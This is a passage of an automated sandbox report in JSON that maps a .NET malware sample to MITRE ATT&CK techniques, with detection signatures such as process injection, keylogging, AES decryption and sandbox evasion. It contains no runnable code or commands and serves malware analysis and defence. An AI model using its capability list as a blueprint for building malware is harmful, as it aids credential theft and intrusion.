object"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Loaded modules"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Hijack Execution Flow","attack_id":"T1574","attack_id_wiki":"https://attack.mitre.org/techniques/T1574","identifiers":[{"type":"informative","value":"Loaded EXE module from outside of Windows folder"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Allocates virtual memory in a self process"},{"type":"informative","value":"Calls an API typically used to map section into the virtual address space of a process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Reference explorer.exe process"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to opens the access token associated with a thread"},{"type":"informative","value":"Calls an API typically used to opens the access token associated with a process"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"},{"type":"informative","value":"Calls an API typically used to unmap view of a section from a process"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains reference to command shell related registry path"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Found anti-virus related strings names"},{"type":"informative","value":"Contains ability to modify PowerShell execution policies (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Can loads assembly that contains the code that is currently executing [Dotnet]"},{"type":"informative","value":"Contains ability to load module (Dotnet string)"},{"type":"informative","value":"Dotnet code contains potential unpacker"},{"type":"informative","value":"Contains ability to generate intermediate language instructions (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Contains pe file in dotnet resource"},{"type":"suspicious","value":"Sample/File contains another embedded binary"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Contains ability to perform CryptoStream operations (Dotnet)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to perform symmetric decryption (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability execute applications in hidden mode (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"References registry location(s) potentially used by malware"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Hidden Users","attack_id":"T1564.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/002","identifiers":[{"type":"suspicious","value":"Contains ability to hide user accounts"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to modify volumes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"informative","value":"Contains ability to perform code compilation at runtime (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Credential Access","technique":"Network Sniffing","attack_id":"T1040","attack_id_wiki":"https://attack.mitre.org/techniques/T1040","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API typically to used to retrieve file or directory information"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Contains ability to gather process details (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about the current hardware profile (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve user privileges"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve security identifier details"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to retrieve geographical location"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to retrieve list of TCP/UDP endpoints (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Local Groups","attack_id":"T1069.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve local groups information"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"informative","value":"Contains ability to retrieve network adapter information (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicates via socket (possible C&C communication)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP urls in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains ability to set the value of an HTTP request header"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"},{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate via sockets (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to perform symmetric crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability execute applications in hidden mode (Dotnet)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":1,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"System.IO.Compression.ZipFile\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"System.IO.Compression.ZipFileExtensions\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to generate intermediate language instructions (Dotnet)","description":"Observed namespace \"System.Reflection.Emit.DynamicMethod\" and TypeReference \"GetILGenerator\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-171","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"$28","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load module (Dotnet string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-252","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify PowerShell execution policies (Powershell command string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-341","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform code compilation at runtime (Dotnet)","description":"Observed namespace \"Microsoft.CSharp.CSharpCodeProvider\" and TypeReference \".ctor\" in 